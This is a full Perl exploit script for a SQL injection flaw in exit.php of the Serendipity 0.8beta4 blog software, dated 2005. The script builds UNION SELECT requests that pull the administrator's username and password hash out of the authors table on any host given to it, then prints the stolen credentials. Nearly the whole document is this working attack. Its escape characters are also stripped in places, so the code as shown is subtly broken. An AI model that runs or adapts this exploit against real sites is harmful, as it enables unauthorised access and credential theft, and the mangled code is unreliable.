#!/usr/bin/perl
# Serendipity 0.8beta4 exit.php SQL Injection exploit
# (c) ADZ Security Team 2004-2005
# (c) kreon 2005
# http://adz.void.ru/
# kre0n@mail.ru
# Public :)

print "nn";
print "# Serendipity 0.8beta4 exit.php SQL Injection exploitn";
print "# (C) ADZ Security Team 2004-2005n";
print "# (C) kreon 2005n";

use IO::Socket;
use Getopt::Std;

getopt("h:d:p:t:");

$opt_p ||= 80;
$opt_d ||= "/";
$opt_t ||= "serendipity_";

if(!$opt_h) {
    die("# Usage: $0 -h <host> [-d <dir>] [-p <port>] [-t table_prefix]n");
}

$sqlpass = "?entry_id=1&url_id=1%20UNION%20SELECT%20password%20FROM%20".$opt_t."authors%20WHERE%20userlevel=255/*";
$sqllogin = "?entry_id=1&url_id=1%20UNION%20SELECT%20username%20FROM%20".$opt_t."authors%20WHERE%20userlevel=255/*";

print "# Host: $opt_hn";
print "# Dir: $opt_dn";
print "# Port: $opt_pn";
print "# Prefix: $opt_tn";

$Q1 = "GET ".$opt_d."/exit.php".$sqllogin." HTTP/1.0n";
$Q1 .= "Host: ".$opt_h."nn";

$Q2 = "GET ".$opt_d."/exit.php".$sqlpass." HTTP/1.0n";
$Q2 .= "Host: ".$opt_h."nn";

$s = IO::Socket::INET->new(Proto => 'tcp', PeerAddr => $opt_h, PeerPort => $opt_p) or die("Can't connect!");
$s->send($Q1);
$s->recv($txt, 1024);
if($txt =~ m/location: (S+)/i) {
    $login =  $1;
}

$s = IO::Socket::INET->new(Proto=>'tcp', PeerAddr => $opt_h, PeerPort => $opt_p) or die("Can't connect!");
$s->send($Q2);
$s->recv($txt, 1024);
if($txt =~ m/location: (S+)/i) {
    $pass = $1;
}
if(!$login || !$pass || $login =~ m/http:///i || $pass =~ m/http:///i) {
    print "# Failed :(n";
    exit;
}

print "# Succeed :)n";
print "# Login: $loginn";
print "# Pass Hash: $passn";
print "n";

# www.Syue.com [2005-04-13]